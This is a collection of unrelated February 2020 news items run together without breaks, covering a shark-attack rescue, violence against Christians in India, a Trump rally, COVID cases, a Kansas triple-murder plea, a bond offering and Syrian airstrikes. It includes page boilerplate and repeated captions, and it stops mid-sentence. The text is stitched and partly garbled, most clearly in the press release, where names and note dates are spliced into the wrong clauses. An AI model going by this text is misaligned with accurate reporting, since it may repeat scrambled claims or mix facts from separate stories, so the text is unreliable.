Kahookele-Santos earned the Civilian Medal of Valor, the Maui Police department's highest civilian honor, for using his board to fight off an attack by a tiger shark to protect members of a tour group he was leading. WAILUKU, Hawaii (AP) A paddleboarder earned the Maui Police department's highest civilian honor for fighting off an attack by a tiger shark to protect members of a tour group he was leading. . . . Hindu extremists attack 70 Christians traveling home from conference on praying for peace in India Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Hindu extremists brutally attacked a group of about 70 Christians, including children, as they traveled home from a national congress focused on praying for peace in India amid escalating persecution. According to Christian Solidarity Worldwide, three men on motorcycles attacked Christians traveling home from the Third National Congress of the Synod of Pentecostal Churches in Coimbatore, Tamil Nadu, on Feb 5. The men verbally threatened the passengers before smashing the windshields of the vehicles, causing injury to the driver and passengers, which included women, children and the elderly. Pastor Paul Raj, one of the passengers, immediately called the police, who arrived at the scene a short time later. A First Information Report, which is necessary to start an investigation, has been registered against the perpetrators and investigations have been initiated. Local sources report that the attack is believed to have been perpetrated by religious extremists who were aware of the national congress and planned the ambush on the Christians. CSWs Chief Executive Mervyn Thomas called the attack a worrying example of the religious intolerance and violence that is being allowed to fester and take root in the largest democracy in the world. Religious minorities in India should feel safe and free to practice and profess their religion or belief without any fear of reproach, and we call on the authorities to put an end to all forms of institutional propaganda that incite hate toward religious minorities, Thomas said. The police must follow up with a thorough investigation of this incident and not allow themselves to be influenced by hardline religious nationalists as they seek to hold those responsible to account. CSW notes that the National Congress of the Synod of Pentecostal Churches was attended by about 100,000 people. The event focused on calling on Christians to pray for peace in India at a time when Christians are experiencing a rising number of hate campaigns that involve church closures, prayer meeting disruptions, police complicity and targeted attacks with impunity by non-state actors. During the event, the leadership of the Synod called on the government of India to protect religious minorities in the country and to respect the fundamental freedoms of the Indian Constitution. Additionally, it urged the government to revoke the Citizenship Amendment Act 2019 and the National Register of Citizens which are criticized widely in India for their unconstitutional nature. India is ranked No. 10 on Open Doors USA's 2020 World Watch List of countries where it is most difficult to be a Christian. The country was ranked No. 31 in 2013, but its position has worsened since Prime Minister Narendra Modi and his Hindu nationalist Bharatiya Janata Party rose to power in 2014. Over 1,400 incidents of persecution against Christians in the country have been reported since 2014, according to an initiative of ADF India. Amid escalating persecution, the Federation of Indian American Christian Organizations of North America has written an open letter calling on U.S. President Donald Trump to raise the issue of violence against Christians in India when he meets with Modi next week. In the past, Trump has praised Modi, calling Indias PM one of Americas greatest, most devoted and most loyal friends. FIACONA's letter cites disconcerting tactics employed by Modis administration, including the marginalization of Christians and other religious minorities. Christians across India are already living in real fear, the letter stresses. Pastors, Social Workers, and ordinary Christians are arrested, tortured, or killed on false charges. Church properties are being burned or destroyed by members of Mr. Modis party. Mr. Modi is mostly silent when his followers go on a rampage interrupting Christian worship services, creating an environment of insecurity and fear. FIACONA said that in 2019, it logged 328 cases of violence against Christians in India, including 230 mob attacks and two murders. Often, many attacks go unreported due to fear of reprisal, the letter notes, as authorities are often under pressure from Modis government to ignore complaints from Christians. John Prabhudoss, FIACONA chairman, told The Christian Post the organization is concerned that the president's failure to address the issue could end up legitimizing the violence perpetrated by Modi's party against Christians. For a president who claims to be the champion of Christians both at home and abroad, he seems to be clueless about the violence against Christians in India, he said. Our evangelical leaders here in the U.S. who are affected by the Indian situation one way or the other (many of them have been either deported or refused visas to India) seem to be at a loss. They see Trump as the champion of their causes at home but unable to convince him about India. Prabhudoss said the president "does not seem to be well informed about the threat from radical political Hindu ideology." "Those who have his ears also seem to be ignorant about it. But those who understand it are afraid of telling him anything he may disagree with," he said. "So here we are. What will it take to tell the president that his public exaltation of a radical extremist Indian leader is hurting the lives of over 100 million Christians?" Advertisement Donald Trump struck a bunch of different notes Thursday night at his rally in Colorado Springs where he mocked the 'choking' Democrats before singling out his 'cheap spin-off' Mike Bloomberg and claiming Sen Amy Klobuchar's campaign is dead after her debate performance. First he used the Democratic debate Wednesday as ammunition, specifically railing against fellow billionaire Bloomberg. 'I don't know if anybody watched last night's debate, it got very big ratings. And you know what? Mini Mike didn't do well last night,' he said to the room of thousands of supporters. 'I was going to send him a note saying, "It's not easy doing what I do, is it?"' Trump suggested. 'I don't know. It's not easy Mike. It's not easy for any of them. No, Mike didn't do too well. He went way down,' the president insisted. The two billionaire's are very different heights, with former New York City mayor standing at 5ft 7in and the president at 6ft 3in. The rally at Broadmoor World Arena, which has a capacity of more than 8,000, was held as part of a rare four-day campaign stint on the west coast as Democrats took their campaigns there with both a debate and the third primary contest. Scroll down for video Donald Trump came out guns blazing against Democrats at his rally in Colorado Springs, Colorado Thursday night and he specifically called out performances at the Las Vegas debate held a night before The president claimed that Minnesota Senator Amy Klobuchar 'choked' Wednesday night and said her campaign died with her debate performance. 'How about Klobcuahr. Did you see her? She choked. She choked,' he said to a jeering crowd. 'She couldn't breath' 'I don't know if anybody watched last night's debate, it got very big ratings. And you know what? Mini Mike didn't do well last night,' he said, hitting at billionaire Mike Bloomberg, who faced an onslaught of criticism The president, who prides himself of 'America First' values and his patriotism, also lamented that a foreign film won the Best Picture Oscar at the Academy Awards earlier this month The president claimed that Klobuchar 'choked' Wednesday night and said her campaign died with her debate performance. 'How about Klobuchar. Did you see her? She choked. She choked,' he said to a jeering crowd. 'She couldn't breath.' 'Alfred E. Neuman looked at her and says something slightly derogatory,' Trump said, using the character he has likened to former South Bend, Indiana, Mayor Pete Buttigieg. 'And she said, "Are you accusing me of being dumb?" 'Who would make a statement like that?' the president questioned. 'Because that's really what he's doing, but he doesn't want to say that. No, no, how about that. "Are you saying I'm dumb?" That was the end of her campaign in my book. You don't say that. Even if it's true, you don't say that.' 'I was going to send him a note saying, "It's not easy doing what I do, is it?"' Trump suggested in sending words to Mike Bloomberg The president claimed that Klobuchar 'choked' Wednesday night and said her campaign died with her debate performance 'How about Klobuchar. Did you see her? She choked. She choked,' he said to a jeering crowd. 'She couldn't breath,' Trump added The president was referencing one of the many contentious moments at the debate Wednesday where Buttigieg targeted Klobuchar on running on her experience but slammed her for not being able to name the president of Mexico when she was put on the spit. 'You are staking your candidacy on your Washington experience. You're on the committee that oversees border security, you're on the committee that does trade. You're literally in the part of the committee that's overseeing these things,' Buttigieg said. 'Are you mocking me here, Pete? I said I made a mistake,' Klobuchar shot back. At another point in the debate she went at Buttigieg again. 'I wish everyone was as perfect as you, Pete,' Klobuchar said, saying Buttigieg had done little more than memorize 'a bunch of talking points'. While Democrats face in-fighting as they compete for the party's nomination, they are also subject to daily attacks from the president. Trump said Klobuchar wasn't the only one who 'choked,' bringing his attention back to Bloomberg. 'Look, Bloomberg made a fool out of himself last night. He choked. He's another one who's going, "Oh, I can't breath. I can't breath. Don't ask me the question. Please,"' Trump mocked. Although many have claimed there were a few winners Wednesday night, there is widespread agreement that Bloomberg was the loser. The president held a rally in Phoenix, Arizona on Wednesday as Democrats hosted their ninth primary debate in Las Vegas, Nevada around the same time. Supporters cheer as the president arrives to address a 'Keep America Great' rally in Colorado Springs, Colorado, on Thursday And the president will hold another reelection rally for the third night in a row on Friday in Las Vegas as Democrats prepare for the second-in-the-nation caucuses in Nevada on Saturday. Bloomberg entered the Democratic primary race in mid-November, and swiftly rose in the rankings among the dwindling field of candidates as he used his own deep pockets to increase his exposure in a series of television and social media ads. The former New York City mayor immediately became one of Trump's favorite targets and the president often bashes the fellow billionaire on Twitter, calling him 'mini Mike' in a hit to his height. Trump's recent campaign strategy is not subtle, as he holds reelection rallies in the same states as Democrats are in for either debates or primary contests. Although Trump is facing virtually no real primary competition, he is still aiming for winning big and breaking records for voter and caucus turnout for an incumbent president. While Buttigieg took the victory for Democrats in Iowa, Sen Bernie Sanders emerged the winner in New Hampshire. Also during the Colorado event, Trump lamented that he did not agree with the outcomes of the Academy Awards after a foreign film won Best Picture. Also during the Colorado event, Trump (pictured) lamented that he did not agree with the outcomes of the Academy Awards after a foreign film won Best Picture Parasite won Best Picture at the Oscars earlier this month, it was the first foreign-language film ever to do so 'And the winner is a movie from South Korea,' Trump said, imitating those who announce category winners. 'What the hell was that all about?' he questioned. Actors are seen during a scene from the film Parasite 'By the way, how bad were the Academy Awards this year? Did you see it?' Trump asked rally-goers, and was met with wide-spread 'boos.' 'And the winner is a movie from South Korea,' Trump said, imitating those who announce category winners. 'What the hell was that all about?' 'We got enough problems with South Korea with trade. On top of it they give them the best movie of the year,' he continued, admitting he did not see the movie. The film studio behind award-winning film Parasite clapped back at Trump shortly after he made the remarks Parasite was filmed fully in Korean, but played with English subtitles in the U.S. 'Was it good? I don't know,' Trump said. Instead the 73-year-old president said he wishes the film industry would bring back movies like the 1940 classic 'Gone with the Wind' and 1950 film 'Sunset Boulevard.' 'The winner is from South Korea,' Trump continued. 'I thought it was best foreign film. Best foreign movie. No, it was did this ever happen before?' The film studio behind award-winning film Parasite clapped back at Trump shortly after he made the remarks. In response, film studio NEON shared a Tweet, insinuating that he was unable to enjoy the English subtitles from the movie. 'Understandable, he can't read,' the studio said in its brutal tweet. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 10:34 691 7f440ff09e92db75a02bbad2065c207a 1 Health Serangan-Maut-Mendadak,cardiovascular-diseases,coronary-heart-disease,heart-attack,Pendidikan-id,comic,health Free Educational technology products and services platform pendidikan.id has released a full-colored digital comic that aims to educate readers about cardiovascular diseases, especially coronary heart disease. Titled Serangan Maut Mendadak (Sudden Cardiac Attack), the comic also seeks to raise awareness on the importance of healthy living as the simplest way to lower the risk of cardiovascular diseases. Narrated in Indonesian, the comic explains various information about coronary heart disease, including causes, symptoms and treatments. It centers on the life of Sudarso, an English teacher at Nusantara Senior High School who survives a heart attack. The comic can be downloaded for free on the Kipin School 4.0 app, which is available on Google Play and App Store. The app also collects about 300 digital comics on health, history and sciences. Cardiovascular (heart and blood vessel) diseases are among the deadliest diseases in the world. In 2016, the World Health Organization estimated that 17.9 million people died of cardiovascular diseases and 85 percent of them were caused by heart attacks and stroke. Data from the Health Ministry's 2018 Basic Health Research (Riskedas) showed an increase in the number of people who suffered from cardiovascular diseases, with almost 4 million Indonesians having the disease that year. Its possible for a heart attack to happen to anyone regardless of their age, including those below 40. According to the comic, people should stop smoking, consume healthy foods that are low in cholesterol and sugar, exercise daily and reduce stress levels to lower the risk of cardiovascular diseases. (wir/kes) Federal judges on Thursday struck down Mississippis ban on abortions performed after a fetal heartbeat can be detected, which usually occurs at around six weeks into pregnancy. The decision by the three-judge panel of the Fifth Circuit Court of Appeals blocks the law from going into effect and upholds a lower courts May decision to do the same. The judges argued that at six weeks, a fetus is not yet viable outside the womb. [A]ll agree that cardiac activity can be detected well before the fetus is viable. That dooms the law, the panel wrote. The Fifth Circuit previously in December blocked Mississippis separate 15-week abortion ban. If a ban on abortion after 15 weeks is unconstitutional, then it follows that a ban on abortion at an earlier stage of pregnancy is also unconstitutional, the judges reasoned in Thursdays decision. The Center for Reproductive Rights, which sued the state over the heartbeat bill, celebrated the ruling in a Thursday tweet, saying the law marked an even more extreme attempt to take away the rights of Mississippi residents. Not on our watch. Despite the relentless attempts of Mississippi and other states, the right to legal abortion remains the law of the land, said Hillary Schneller, the groups senior staff attorney. Six other states, Georgia, Kentucky, Louisiana, Missouri, Alabama, and Ohio passed strict abortion bans last year, all of which have been blocked by federal courts. Opponents of abortion rights hope such bills will spark court challenges that lead to a reconsideration of Roe. v. Wade, the landmark abortion rights Supreme Court case that legalized abortion nationwide. More from National Review Buttigieg's brother-in-law denounces candidate for advancing ideas against Scripture Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The brother-in-law of former South Bend, Indiana, Mayor Pete Buttigieg has denounced the Democratic candidate for claiming it was unbiblical to support President Donald Trump. At a CNN town hall event in Nevada, Buttigieg was asked whether he believed it was possible for someone to be a Christian and support Trump. Buttigieg, a devout Episcopalian who is in a same-sex marriage, began cautioning that he did not feel he had a right to tell other Christians how to be Christians. But I will say, he said, as reported by CNN, I cant find any compatibility between the way this president conducts himself and anything I find in Scripture. Pastor Rhyan Glezman, the head of a small congregation in Michigan who is the brother-in-law of Buttigieg, took issue with the candidates remarks. In a recent interview with Fox News personality Tucker Carlson, Glezman argued that it is Buttigieg who is advancing ideas that are clearly against Scripture. The height of intellectual dishonesty for Pete to make claims that there's no compatibility with being a Christian and voting for Trump, which Pete, in fact, is the one who is pushing agendas and rhetoric that is clearly against Scripture, stated Glezman. The pastor went on to also denounce Buttigieg's recent comments on The View, when the candidate said that he believed the government should not restrict late-term abortion. I'm just in a state of lament when you hear that we have someone running for commander in chief who can't make a moral decision on whether to keep a child after it's already been born or to have it killed, Glezman told Tucker, labeling the stance alarming and extreme. I encourage Pete, and everyone in America, to read Psalm 139:13-16, where God says in His word that every single person is 'fearfully and wonderfully made' in the image of God. Go to Jeremiah 1:5, where it talks about God knew us before we were ever in our mother's womb. Buttigieg has often tried to challenge conservative Christians on moral matters. Last July, he cited Proverbs 14:31 during a debate when going after conservative Christians in Congress who opposed a minimum wage increase. And so-called conservative Christian senators right now in the Senate are blocking a bill to raise the minimum wage, when Scripture says that whoever oppresses the poor taunts their maker, said Buttigieg at the time. Glezman has been openly critical of his brother-in-law in the past. Last year, the pastor responded to Buttigiegs argument that the Bible says life does not begin until the first breath. "I feel a sense of responsibility and stewardship of my faith to stand up and say something, to say, 'No, that's not true,'" said Glezman, as reported by the Washington Examiner at the time. "God places a very high value on all human life. Everyone is created fearfully and wonderfully in the image of God with intrinsic value. That doesn't start at the first breath, it starts when we enter our mother's womb." The first case of the novel coronavirus in Lebanon was confirmed on Friday, the health minister said, adding that two other suspected cases were being investigated. "We confirmed the first case today," Hassan Hamad said at a press conference in Beirut. The COVID-19 virus was found in a 45-year-old Lebanese woman who had travelled from Qom in Iran, he said. A medical source at the hospital where the woman is being treated told AFP that she returned from Iran with a high fever, but that her immunity was good and her condition stable. Hamad said that all the people who were on the same flight from Iran had been contacted by the health authorities. He said that anyone returning from Iran would be asked to observe a two-week home quarantine. The COVID-19 outbreak first appeared in Iran on Wednesday. Tehran has now confirmed a total of four deaths and 18 infections by the SARS-like virus, which first emerged in China in late December. Thousands of Lebanese travel to Iran every year to visit Shiite holy sites in Qom and other cities. China on Friday raised the death toll to 2,236 -- most of them in the province of Hubei, where the virus was first detected. More than 75,000 have now been infected in China and over 1,100 abroad. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Earlier this month, Joaquin Phoenix stepped up to the Oscar podium to receive his Oscar for Best Actor - giving a long-awaited speech that shook both longtime fans and the legions of new followers hes gained from his performance in Todd Phillips Joker. Reuters Some 23.6 million people watched the Oscars this year - making prime award speeches such as Best Actor a pretty incredible platform to raise awareness for social causes. In the past, actors such as Leonardo DiCaprio took the moment to highlight climate awareness issues - Phoenix, however, not only gave those a mention, but took apart the meat and dairy industry with a nuanced and philosophical piece on human selfishness and ignorance of the suffering of animals. I think that weve become very disconnected from the natural world and many of us what were guilty of is an egocentric worldview, the belief that were the centre of the universe, asserted Phoenix. We go into the natural world, and we plunder it for its resources. We feel entitled to artificially inseminate a cow, and when she gives birth, we steal her baby even though her cries of anguish are unmistakable. Then we take her milk thats intended for her calf, and we put it in our coffee and our cereal. It wasnt all lip-service though. Earlier this week, Phoenix knocked on the doors of a Californian slaughterhouse, with the intent to rescue a calf and mother-cow from the axe. Along with an entourage that consisted of Phoenixs fiancee, actress and activist Rooney Mara, the pairs mothers, Earthlings Director Shaun Monson, Los Angeles Animal Save Founder Amy Jean Davis, and animal rights activist, Gene Baur. Joaquin spoke with the CEO of the Pico Rivera slaughterhouse, Anthony di Maria, and explained his animal welfare views. Di Maria said his operation was different from others across America in the way they don't separate their newborn cows from their mothers straight after birth. After introductions, he went on to take the entourage for a tour of the facility. Farm Sanctuary After this, the owner went on to allow Phoenix to take a calf and her mother away from the slaughterhouse. A pretty emotional scene unfolded as Phoenix took the pair into a trailer, calf in arms. Reuters The cow and her calf, named Liberty and Indigo respectively, were taken to Baurs Farm Sanctuary, where theyll be able to live out in peace. Baur insists that the video was unplanned in the wake of Phoenixs Oscar speech - regardless of whether it was or not, the actor has long campaigned against animal cruelty. Hes been a vegan for several years now and has had a long-running association with PETA. His support also shows itself behind-the-scenes in his films - for his stellar role as Johnny Cash, the actor famously donned vegan leather boots. The actor concluded: "I never thought I'd find friendship in a slaughterhouse, but meeting Anthony and opening my heart to his, I realise we might have more in common than we do differences. Without his act of kindness, Liberty and her baby calf, Indigo, would have met a terrible demise. My hope is, as we watch baby Indigo grow up with her mom Liberty at Farm Sanctuary, that we'll always remember that friendships can emerge in the most unexpected places; and no matter our differences, kindness and compassion should rule everything around us. New Mexico Attorney General Hector Balderas is reportedly bringing a new lawsuit against Google over alleged student data collection. Specifically, the suit claims that Google utilizes its Google for Education free Chromebook program to illegally gather data on students. That activity, court documents claim, is in violation of the Childrens Online Privacy Protection Act and general US privacy protections. Breaking down the list of allegations put forward by the New Mexico AG, the documents claim that the data collected was used for advertising up until early 2014. The company is also said to have stored the data in profiles for each student taking part in the program. That data was purportedly stored in a way that gave parents no way to access it or to limit collection. According to AG Balderass filing, the company collected a wide array of sensitive information. That includes physical locations, web and search histories, YouTube viewing habits, contact lists, passwords, and voice recordings. All of that data is said to have been collected without proper disclosure. Advertisement Mr. Balderas says that the search giants activity was not only illegal but dangerous, since parents were not informed. Google takes a hard stance in response to claims about student data The response from Google to the lawsuit being filed alleging student data collection via G Suite for Education takes a firm stance. In a statement provided to the source, attributed to spokesperson Jose Castaneda, the company lambasts the claims as factually wrong. The search giant says that control over account access is placed solely with schools and presumably their respective IT departments. Google indicates that G Suite for Education requires schools to obtain parental consent when necessary for those purposes. In fact, Google explains that school districts are in complete control when it comes to deciding how its platforms are used. Advertisement Perhaps more importantly, the company asserts that it does not use personal information from users in primary or secondary schools. In that statement, the company expressly implies that it is applicable to its business of targeting ads. Googles argument could prove problematic if it is found to have been collecting the data. Thats especially true since the case centers solely on Chrome OS devices provided for free to schools through the G Suite for Education program. This case, like others against Google, will likely drag on This latest case is not the first Google has faced on the matter by any stretch. Based on those investigations, this case could drag on for quite some time as Google and the Attorney General build their cases. But, setting aside recent separate inquiries by the US Department of Justice, the search giant was sued by the AG back in 2018. Advertisement That suit was also brought for a similar purpose, alleging that Google spies on kids in violation of the Childrens Online Privacy Protection Act. The key difference here is that in 2018, Mr. Balderas was gunning for the companys apps and targeting children. Twitter and Android developer Tiny Lab Productions were brought in as part of that case as well. The reaction caused the musician to embrace villainy on her new concept album, about "an anthropomorphic goddess of climate change". When goth-pop artist Grimes revealed her relationship with billionaire tech entrepreneur Elon Musk in 2018, many were aghast at the pairing. From indie pop to alt-pop, balkan and nordic noir, our music critics review four new albums that have a multitude of tastes covered. Grimes, who writes, sings, produces, plays all instruments and engineers her own music, has always been a renegade; the good news is that her romance hasnt dampened her creativity. Loading Her fifth album is her darkest yet, introduced by the gorgeous downtempo ballad So Heavy I Fell Through the Earth. But its a shape-shifting journey, from Delete Forever, a country-tinged ditty featuring Wonderwall-like strumming, to 4M, switching between gentle tribal rhythms and frenetic drum and bass beats, to My Name Is Dark, a nu-metal/emo-pop hybrid. Finale IDORU is one of the more conventional tracks, with buoyant keys and birdcalls accenting what might be a love letter to Musk, while Grimes ethereal voice, delivered in sighs or an airy, pretty falsetto, is the records only constant. She has called it her last earth album as she pivots towards AI-assisted art. For now, the futurist is still the queen of other-worldly pop. The Indian arm of German software group SAP said on Thursday it had shut down all offices in the country for sanitisation after two of its employees in the city of Bengaluru tested positive for the H1N1 virus. SAP India offices in Bengaluru - considered the tech hub of India - Gurgaon and Mumbai have been temporarily closed and all employees have been asked to work from home till further notice, SAP said in an emailed statement. According to the World Health Organization (WHO), H1N1 symptoms include fever, chills and sore throat and is similar to seasonal influenza but has been characterised by higher fatality rates among healthy young adults and higher incidence of viral pneumonia. Also Read: How Radisson Hotel Group is scaling from 100 to 400 hotels in India Also Read: Flipkart challenges CCI probe, says 'order passed without application of mind' Also Read: Taj Mahal closed for public during Trump's visit on Feb 24 BRICS Chamber of Commerce & Industry (BRICS CCI), organised the second Annual Direct Tax Summit & Awards 2020 in association with Achromic Point - an international consulting firm. The day-long summit saw an eminent list of delegates discussing recent trends and issues in the field of International Tax and identified the best methods for integrating into the new systems while deriving the most tax benefits. BRICS CCI works towards creating an enabling support system especially for the MSME segment of businesses and young entrepreneurs from across all geographies. Dharampal Satyapal Limited won the award for Best In-House Direct Tax Team of the Year. Tax professionals have to deal with many issues like achieving tax compliance and minimizing tax risks and disputes, in addition to audits by tax authorities. In today's digital economy businesses are exploring area level synergies to ensure cost reductions, enhanced competitiveness, improved market penetration and product leadership. At the same time, the tax authorities across nations are becoming increasingly sophisticated with respect to transfer pricing audits. Some of the key topics discussed at the summit included key amendments vide Budget 2020, India's tax litigation scenario and way forward, penalty and prosecution provisions under Income tax law, India's take on taxation of digital economy, cross border investments, structuring and transactions (key provisions), Black Money Act, Benami Law and Money Laundering laws-Government tightening the rope. "At BRICS CCI, it is an endeavour to facilitate an economic ecosystem which not only seamless in terms of transactions and regulations but helps us aggregate Global trade. Forums like these will help us better understand the Direct Tax Amendments proposed in the Union Budget 2020 and will also help us in developing a global transfer pricing risk strategy by identifying the best methods for integration into the new systems while deriving the most tax benefits," said Dr BBL Madhukar, Founder, Director General of BRICS Chamber of Commerce and Industry, while speaking on the sidelines of the event, With PK Dash - Central Board of Direct Taxes, Member (Legislation) and Adv Balbir Singh as Guest of Honour the symposium also shed light on the future of the international taxation landscape, explore contemporary issues that take into account the work carried out at the OECD. The seminar will highlight jurisdictional approaches to the taxation of complex international transactions and also provide better insight into further measures to be undertaken by the government and its impact on growth. The knowledge partner of the event was Aourakii Legal, Chilana & Chilana Law Offices was the Litigation Partner and Avinav Consulting & Versari Advisors were the corporate partners. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Guilty: Shane Mays, 22, has pleaded guilty to second-degree attempted murder and aggravated battery in the March 2017 triple homicide in Topeka, Kansas A Kansas man who claimed he forced to take part in the killing of his friend to save his own life during a deadly rampage has pleaded guilty to attempted second-degree murder. Shane Andrew Mays, 22, also pleaded guilty Thursday to aggravated battery in the March 2017 attack in a Topeka drug home that left three people dead, WIBW-TV reported. Mays, who has been jailed for the past three years, is being held on $1million bond. When he is sentenced on May 21, he could face more than eight years in prison. Mays was originally charged with two counts of premeditated first-degree murder in the deaths of Nicole Fisher, 38, and Matthew Leavitt, 19. The third victim was 20-year-old Luke Davis. All three were strangled or smothered to death over an unproven rape allegation against Leavitt, who was a good friend of Mays. On March 12, 2017, Mays and Leavitt went to the home at 115 NW Grant Street after being asked by Fisher's boyfriend to give her a ride home. Prosecutors said Mays took part in the murder of his friend, Matthew Leavitt, 19 (left), to save his own life. Also killed were Nicole Fisher, 38 (center), and Luke Davis, 20 (right) Two armed men emerged from the house and ordered the two friends inside, where they and Fisher were zip-tied and threatened. Davis arrived at the house seeking a ride and was also restrained, Chief Deputy District Attorney Dan Dunbar said Thursday. 'Queen Bee': Kora Liles in 2018 pleaded guilty to orchestrating the three killings after making an unfounded rape allegation against Leavitt Mays was asked to help kill Fisher, Leavitt and Davis in exchange for his life, Dunbar said. Davis attempted to escape and was stabbed and strangled, as was Fisher, and Mays put a bag over Leavitt's head and hit him repeatedly until another man strangled him. Mays then was allowed to leave and walked to the police station, where he reported the deaths and led officers to the bodies in the basement. During the preliminary hearing, witness Richard Folsom said Mays was told he had to take part in the killings to 'dirty his hands.' Defense attorney Kathleen Ambrosio described Mays during the hearing as a victim, saying he wasn't killed 'by the grace of God.' But Dunbar argued that Mays was 'willing to surrender other people's lives to save his own.' Four other suspects previously entered pleas, including Joseph Krahn, who was sentenced to three life terms for carrying out the murders, and Kora Liles, who made the unfounded rape allegation against Leavitt and was sentenced to three 25-year prison terms for orchestrating the killings. During a hearing in 2018, Dunbar called Liles the 'Queen Bee' for being in control during the kidnappings and killings, though she did not physically kill anyone. Folsom testified that he and Krahn had gone to the Topeka home to try to sell or trade a shotgun and a watch to get methamphetamine. They left when they weren't able to get any meth, but then Folsom later brought Krahn back to the home. Joseph Krahn (left), Joseph Lowery (center) and Brian Flowers have all been convicted for their role in the murderous attack Folsom said he was waiting outside for Krahn when Davis approached the home. Folsom said he warned Davis, 'I think there's something going on here, and you should just go,' but that Davis went inside anyway. Folsom said eventually went inside to check on Krahn. There, Folsom said he watched as the victims were killed. Folsom said he didn't try to help the victims because Lowry was armed with a large-caliber revolver. Davis was killed first, then Fisher, and finally Leavitt, Folsom said. 'I felt like I'd be next if I tried,' Folsom said. Davis, who had been bound with zip ties, tried to escape, but Krahn and a second man caught him, Folsom said. Davis then was stabbed and strangled with an electric cord, Folsom testified. He said Davis had called out to him for help as he was being killed. He said Mays and Leavitt were crying and praying to God when Krahn and Lowry told Mays he could save himself if he participated in the killings. Mays put a bag on Fisher's head, then Krahn took over, suffocating her, Folsom said. Folsom said Krahn beat Leavitt, used a plastic bag, then wrapped something around Leavitt's neck to strangle him. After the three victims were dead, a smiling Krahn spoke to Mays, Folsom said. 'Welcome to the elite,' Folsom quoted Krahn as saying. 'You're one of the few who gets to see me kill and live.' ATLANTA, Feb. 21, 2020 /PRNewswire/ -- Graphic Packaging International, LLC ("Graphic Packaging"), a direct wholly-owned subsidiary of Graphic Packaging International Partners, LLC and the primary operating subsidiary of Graphic Packaging Holding Company (NYSE: GPK), announced today that it launched an offering to sell $400 million aggregate principal amount of its senior unsecured notes due 2028 (the "Senior Notes") in a private offering in reliance upon an exemption from the registration requirements of the Securities Act of 1933, as amended (the "Securities Act"), subject to market and other conditions. The Senior Notes will be senior unsecured obligations of Graphic Packaging. The Senior Notes will be guaranteed by Graphic Packaging International Partners, LLC and Field Container subsidiaries that guarantee obligations under its senior credit facilities and its existing senior Queretaro (USA), L.L.C., as well as by Graphic Packaging's future material domestic notes due 2021, 2022, 2024 and 2027. Graphic Packaging intends to use the net proceeds from the offering to repay a portion of the outstanding borrowings under Graphic Packaging's revolving credit facility under its senior secured credit facility and for general corporate purposes. The Senior Notes and the related guarantees will be offered and sold only to persons reasonably believed to be qualified institutional buyers in reliance on the exemption from registration set forth in Rule 144A under the Securities Act and outside the United States, to non-U.S. persons in reliance on the exemption from registration set forth in Regulation S under the Securities Act. The Senior Notes and the related guarantees have not been and will not be registered under the Securities Act or the securities laws of any other jurisdiction and may not be offered or sold in the United States without registration or an applicable exemption from registration requirements. This press release does not constitute an offer to sell or the solicitation of an offer to buy the notes, nor shall it constitute an offer, solicitation or sale in any jurisdiction in which such offer, solicitation or sale is unlawful prior to registration or qualification under the securities laws of any such jurisdiction. About Graphic Packaging International, LLC Graphic Packaging International, LLC, a direct wholly-owned subsidiary of Graphic Packaging International Partners, LLC and the primary operating subsidiary of Graphic Packaging Holding Company (the "Company") (NYSE: GPK), headquartered in Atlanta, Georgia, is committed to providing consumer packaging that makes a world of difference. The Company is a leading provider of paper-based packaging solutions for a wide variety of products to food, beverage and other consumer product companies. The Company operates on a global basis, is one of the largest producers of folding cartons in the United States, and holds leading market positions in coated-recycled paperboard, coated unbleached kraft paperboard and solid bleached sulfate paperboard. The Company's customers include many of the world's most widely recognized companies and brands. Forward-Looking Statements Any statements of Graphic Packaging International, LLC's expectations in this press release constitute "forward-looking statements" as defined in the Private Securities Litigation Reform Act of 1995. Such statements, including but not limited to those regarding the offering and the use of proceeds therefrom, are based on currently available information and are subject to various risks and uncertainties that could cause actual results to differ materially from Graphic Packaging International, LLC 's present expectations. These risks and uncertainties include, but are not limited to, market conditions affecting the offering. Undue reliance should not be placed on such forward-looking statements, as such statements speak only as of the date on which they are made and Graphic Packaging International, LLC undertakes no obligation to update such statements, except as required by law. Additional information regarding these and other risks is contained in Graphic Packaging International, LLC's filings with the Securities and Exchange Commission. SOURCE Graphic Packaging Holding Company Related Links http://www.graphicpkg.com One man remains in custody. Head of the Main Directorate of the National Police in Poltava region Ivan Vyhovskiy has said the police released 23 out of the 24 most aggressive individuals detained during clashes in Poltava region yesterday after a mob attacked the convoy bringing Wuhan evacuees to a medical center in the town of Novi Sanzhary. Speaking at an extraordinary session of Poltava Regional Council, he said 24 persons who had been acting most aggressively were removed from the crowd and brought to police stations, according to an UNIAN correspondent. He emphasized all persons had been identified, 23 detainees were released pending pretrial investigation, while one man will remain in custody under Article 208 of the Criminal Code. According to Vyhovskiy, 200 law enforcers are securing the perimeter of the medical facility hosting the evacuees for a 14-day observation period. In addition, Vyhovskiy said nine police officers were injured during yesterday's clashes. Four were provided with medical assistance in the hospital and released home. Another five are in-patient treatment and need additional examination. He added some law enforcement officers had been injured by stones in the head. According to Vyhovskiy, one civilian also turned to medics who diagnosed him with minor bodily injuries, provided medical care and released him home. As UNIAN reported, chartered flight PQ 7302 with Ukrainian citizens and foreigners evacuated from China landed at Kharkiv Airport on February 20. Then the evacuees were bussed to the National Guard's medical center in Novi Sanzhary. Ukraine's Health Ministry reported there were 45 Ukrainians, 27 foreigners and crew members, including three doctors, on board the plane. They all will be placed under 14-day observation with a strict biosecurity regime. A convoy of pro-Iranian militia vehicles was hit by airstrikes from unknown assailants, but no casualties have been reported writes Zaman Al Wasl. Unidentified aircrafts hit pro-Iranian militias in eastern Deir ez-Zor province overnight, sources told Zaman al-Wasl. The airstrikes targeted a military convoy heading to northern Syria from the Syrian-Iraqi border town of al-Bukamal. No casualties have been reported. Syrian regime forces led by Bashar al-Assad have been trying to capture the Aleppo countryside and parts of neighboring Idleb province. The advances have sent hundreds of thousands of Syrian civilians fleeing towards the border with Turkey, which already hosts more than 3.7 million refugees. The offensive has killed more than 400 civilians since it began in December, according to the Syrian Observatory for Human Rights. Assad forces launched a wide-ranging arrest campaign in the eastern countryside, tracking down people who escaped conscription, to send them to the battlefronts in northern 